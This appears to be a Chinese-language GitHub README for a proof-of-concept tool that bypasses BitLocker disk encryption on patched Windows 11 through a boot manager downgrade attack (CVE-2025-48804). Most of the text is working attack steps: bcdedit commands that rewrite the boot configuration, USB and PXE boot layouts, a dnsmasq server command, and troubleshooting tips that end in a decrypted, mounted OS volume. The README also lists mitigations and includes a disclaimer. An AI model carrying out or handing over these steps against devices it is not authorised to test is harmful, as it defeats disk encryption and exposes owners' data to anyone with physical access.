garatc/BitUnlocker

GitHub: garatc/BitUnlocker

针对 CVE-2025-48804 的概念验证工具,通过引导管理器降级攻击在已修补的 Windows 11 上绕过 BitLocker 磁盘加密。

Stars: 1 | Forks: 0

# BitUnlocker 降级攻击 这是一个概念验证(PoC),通过引导管理器降级攻击,在已完全修补的 Windows 11 机器上访问受 BitLocker 加密的磁盘。该攻击利用了最初被记录为 **CVE-2025-48804** 的 SDI 漏洞。2025 年 7 月的补丁在 `bootmgfw.efi` 中修复了此问题,因此,只要目标系统信任该 PCA,任何在 PCA 2011 下签名的修补前 `bootmgfw.efi` 都可用于降级攻击。 本 PoC 提供了两种交付方法:**USB 启动**(更简单,推荐使用)和 **PXE 启动**。仅依赖本地分区的其他方法如果使用较小的 SDI 文件,可能也是可行的。 本项工作完全建立在 **Microsoft STORM**(Microsoft 安全博客)的研究基础之上: ## 前置条件 - 对 BitLocker 加密设备的物理访问权限(仅 TPM,PCR 7 + 11) - 设备的 Secure Boot 数据库仍信任 **Microsoft Windows PCA 2011** 证书 - 一个 U 盘(推荐)**或者** 一台装有 `dnsmasq` 的 Linux 机器和一根用于 PXE 的以太网线 ## 详细步骤 ### 1. 从 Releases 下载 boot_patched.sdi(或构建您自己的 SDI 文件,见下文) 将其放入 `USB/sdi/`(用于 USB 方法)或 `TFTP-root/sdi/`(用于 PXE 方法)。 ### 2. 准备修改后的 BCD 在目标设备上,打开 WinRE 命令提示符(在点击 **重启** 时按住 **Shift** 键,然后选择 **疑难解答 > 命令提示符** —— 当提示输入 BitLocker 恢复密钥时,点击“忽略此磁盘”,如果同时被告知命令提示符无法在锁定的设备上运行,请点击“重新启动” —— 如果命令提示符实在无法打开,在可能的情况下请使用您自己的 WinPE)。插入 U 盘并运行: ``` E: (or wherever your USB is) bcdedit /export BCD_modded bcdedit /store BCD_modded /set {default} path \WINDOWS\system32\winload_DOESNOTEXIST.efi bcdedit /store BCD_modded /enum all ``` 在输出中,找到描述为 **"Windows Recovery"** 且包含 `ramdisksdidevice` / `ramdisksdipath` 条目的项。记下其 GUID,然后执行: ``` bcdedit /store BCD_modded /set {GUID} ramdisksdidevice boot bcdedit /store BCD_modded /set {GUID} ramdisksdipath \sdi\boot_patched.sdi move BCD_modded BCD ``` 根据您的方法,将生成的 `BCD` 文件放置在相应的位置: - **USB:** `USB/EFI/Microsoft/Boot/BCD` - **PXE:** `TFTP-root/Boot/BCD` ### 3. 启动目标设备 #### 选项 A:USB 启动(推荐) 将 U 盘格式化为 **FAT32**,并将 `USB/` 目录的内容复制到其根目录。U 盘的结构应如下所示: ``` USB stick root/ ├── EFI/ │ ├── Boot/ │ │ └── bootx64.efi # Pre-patch boot manager (PCA 2011) │ └── Microsoft/ │ └── Boot/ │ └── BCD # Your modified BCD └── sdi/ └── boot_patched.sdi # Patched SDI with custom WinRE ``` 将 U 盘插入目标设备并触发 UEFI USB 启动 —— 可以从 WinRE 中执行(**使用设备**),或者在开机时按下厂商的启动菜单键(F12、F9 等)。如果 U 盘没有出现在启动选项列表中,请在 UEFI 启动菜单中寻找 **"从文件启动"** 选项,然后导航到 U 盘上的 `EFI/Boot/bootx64.efi`。 #### 选项 B:PXE 启动 `TFTP-root/` 目录的结构如下: ``` TFTP-root/ ├── bootmgfw.efi # Pre-patch boot manager (PCA 2011) ├── Boot/ │ └── BCD # Your modified BCD ├── EFI/ │ └── Microsoft/ │ └── Boot/ │ └── bootmgfw.efi # Same pre-patch boot manager └── sdi/ └── boot_patched.sdi # Patched SDI with custom WinRE ``` 通过以太网将目标设备连接到您的 Linux 机器并启动 PXE 服务器: ``` cd BitUnlocker export INTERFACE= export ABS_TFTP_ROOT=$(pwd)/TFTP-root sudo ifconfig $INTERFACE 10.13.37.1 sudo dnsmasq --no-daemon \ --interface="$INTERFACE" \ --dhcp-range=10.13.37.100,10.13.37.101,255.255.255.0,1h \ --dhcp-boot=bootmgfw.efi \ --enable-tftp \ --tftp-root="$ABS_TFTP_ROOT" \ --log-dhcp \ --tftp-max=65464 \ --port=0 ``` 在目标设备上触发 PXE 启动 —— 从 WinRE 中选择 **使用设备 > IPv4 网络**,或者按下厂商的 PXE 启动键。 ### 4. 等待 SDI 传输 引导管理器将加载 BCD,然后开始下载 `boot_patched.sdi`。SDI 文件很大(约 300 MB),因此从 USB 加载需要一点时间,而通过 TFTP 则需要 **几分钟**。加载时,目标屏幕上应出现带有 SDI 路径的恢复相关消息。 ### 5. 获利 传输完成后,应会出现一个命令提示符,并且 OS 卷已解密并挂载(通常为 `C:` 或 `E:`)。 ### 边缘情况 | 情况 | 会发生什么 | |---|---| | BitLocker 配置了您知道的 **PIN** | 启动时出现蓝屏 —— 盲打输入 PIN 并按回车。理论上不应该生效,但我曾经成功过一次,所以可以试试运气 | | 蓝屏,无 PIN | 目标设备可能已迁移至 CA 2023 —— 按 Escape 键让 SDI 传输完成,但 BitLocker 加密驱动器在结束时很可能会被锁定 | | 仅支持 USB-C / Thunderbolt | 使用 USB-C 闪存盘或 USB-Ethernet 适配器(用于 PXE) | | 找不到 TFTP 文件(除了我们不关心的垃圾字体文件之外) | 文件名区分大小写 —— 将 `bootmgfw.efi` 重命名以匹配目标请求的名称 | ## 构建您自己的 SDI 文件 我在 `scripts/` 中包含了两个脚本: - `patch_sdi.py` —— 从 `boot.sdi` 和 `WinRE.wim` 文件构建修改后的 SDI 文件 - `parse_sdi.py` —— 解析 SDI 文件以验证其结构和内容 Releases 中提供的 `boot_patched.sdi` 文件包含一个修改过的 WinRE.wim,其启动应用程序为 `cmd.exe`。 ## 无法利用的情况 - 配置了 **TPM + PIN 或 TPM + 密钥文件**,且攻击者不知道密码(即使攻击者知道 PIN,TPM+PIN 是否永远无法被利用,这一点有待确认) - **已安装 KB5025885 / 引导管理器已迁移至 CA 2023** —— 自 2026 年初以来全新安装的机器默认可能附带由 CA 2023 签名的 `bootmgfw.efi`。要进行检查,请挂载 EFI 分区并检查活动的二进制文件:执行 `mountvol S: /s` 然后 `sigcheck -i S:\EFI\Microsoft\Boot\bootmgfw.efi`。请注意,`C:\Windows\Boot\EFI\bootmgfw.efi` 可能与实际在启动时使用的文件不同 —— 务必检查 EFI 分区中的副本。 - **非默认的 PCR 策略** —— 涉及 PCR 0、2 或 4 的配置将检测到引导路径的更改 - **PCA 2011 已通过 DBX 吊销** —— 如果旧证书已被明确设置为不受信任 ## 缓解措施 - **启用 TPM + PIN** —— 启动前 PIN 码可防止 TPM 在没有用户交互的情况下解封 VMK,无论引导路径如何操纵都无效 - **迁移到 Windows UEFI CA 2023** —— 一旦引导管理器使用新证书签名并且 PCA 2011 被吊销,降级攻击将变得不可能。有关迁移过程,请参阅 [KB5025885](https://support.microsoft.com/en-us/topic/kb5025885-how-to-manage-the-windows-boot-manager-revocations-for-secure-boot-changes-associated-with-cve-2023-24932-41a975df-beb2-40c1-99a3-b3ff139f832d)。 ## 致谢 **Microsoft STORM** 进行了最初的 BitUnlocker 研究和漏洞披露。 ## 免责声明 本代码库及其所有内容严格仅用于 **授权的安全测试和研究目的**。仅在您拥有或已获得明确书面许可进行测试的系统上使用此工具。未经授权访问计算机系统是违法行为。作者对因使用本材料而导致的任何误用或损害不承担任何责任。
标签:BitLocker绕过, bootmgfw.efi, CVE-2025-48804, HTTP工具, meg, Microsoft STORM, PoC, PXE网络启动, SDI漏洞, UEFI安全启动, USB启动, Windows 11, WinRE, 信息安全, 全盘加密, 固件攻击, 数据恢复, 数据防泄漏绕过, 暴力破解, 物理安全, 逆向工具, 降级攻击